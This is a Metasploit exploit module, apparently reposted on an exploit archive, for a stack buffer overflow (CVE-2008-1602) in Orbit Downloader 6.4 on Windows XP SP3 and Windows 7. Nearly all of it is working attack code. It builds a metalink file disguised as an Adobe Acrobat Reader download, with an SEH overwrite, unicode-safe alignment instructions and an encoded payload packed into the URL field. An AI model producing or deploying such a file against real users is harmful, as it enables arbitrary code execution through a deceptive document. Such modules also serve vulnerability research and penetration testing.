Orbit Downloader URL Unicode Conversion Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::FILEFORMAT
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Orbit Downloader URL Unicode Conversion Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in Orbit Downloader.
                The vulnerability is due to Orbit converting an URL ascii string to unicode
                in a insecure way with MultiByteToWideChar.
                The vulnerability is exploited with a specially crafted metalink file that
                should be opened with Orbit through the "File->Add Metalink..." option.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Diego Juarez', # Vulnerability discovery
                    'juan vazquez', # Metasploit module
                ],
            'Version'        => '$ $',
            'References'     =>
                [
                    [ 'BID', '28541' ],
                    [ 'OSVDB', '44036' ],
                    [ 'CVE', '2008-1602' ],
                    [ 'URL', 'http://www.coresecurity.com/content/orbit-downloader' ],
                ],
            'Payload'        =>
                {
                    'Space'       => 2000,
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUnicodeMixed,
                    'EncoderOptions' => { 'BufferRegister' => 'EAX' },
                    'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x26\x3c",
                    'DisableNops' => true,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Orbit Downloader 6.4 on Windows XP SP3',
                        {
                            'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe
                            'Nop' => 0x46, # 004600 => add [esi+0x0],al
                            'AddEax' => "\x05\x15\x11", # add eax,0x11001500
                            'Offset' => 4
                        }
                    ],
                    [ 'Orbit Downloader 6.4 on Windows 7',
                        {
                            'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe
                            'Nop' => 0x46, # 004600 => add [esi+0x0],al
                            'AddEax' => "\x05\x16\x11", # add eax,0x11001600
                            'Offset' => 120
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 03 2008',
            'DefaultTarget'  => 0))
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.metalink']),
            ], self.class)
    end
    def exploit
        sploit = rand_text_alpha(4096 - "http://".length)
        sploit << "\xff" * 2 # EIP =>  Access Violation
        sploit << rand_text_alpha(120) # padding
        sploit << "\x61\x62" # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)
        sploit << [target.ret].pack("v") # seh # ppr
        sploit << target['Nop']
        sploit << target['AddEax'] # eax align is os dependant
        sploit << target['Nop']
        sploit << "\x2d\x11\x11" # sub eax,0x11001100
        sploit << target['Nop']
        sploit << "\x50" # push eax
        sploit << target['Nop']
        sploit << "\xc3" # ret
        sploit << rand_text_alpha(target['Offset']) # align shellcode to eax pointer
        sploit << payload.encoded
        metalink = %Q|
<?xml version="1.0" encoding="utf-8"?>
<metalink version="3.0" generator="Metalink Generator v1.00.0034" xmlns="http://www.metalinker.org/">
    <publisher>
        <name>Adobe</name>
        <url>http://www.adobe.com/</url>
    </publisher>
    <description>Adobe Acrobat Reader</description>
    <files>
        <file name="AdbeRdr80_en_US.exe">
            <version>8.0</version>
            <language>en-US</language>
            <os>Windows-x86</os>
            <verification>
                <hash type="md5">0ab5ce309f313ed028824251c798b35c</hash>
            </verification>
            <resources>
                <url type="http" preference="100">http://#{sploit}.com/pub/adobe/reader/win/8.x/8.0/enu/AdbeRdr80_en_US.exe</url>
            </resources>
        </file>
    </files>
</metalink>
|
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(metalink)
    end
end



#  0day.today [2018-04-13]  #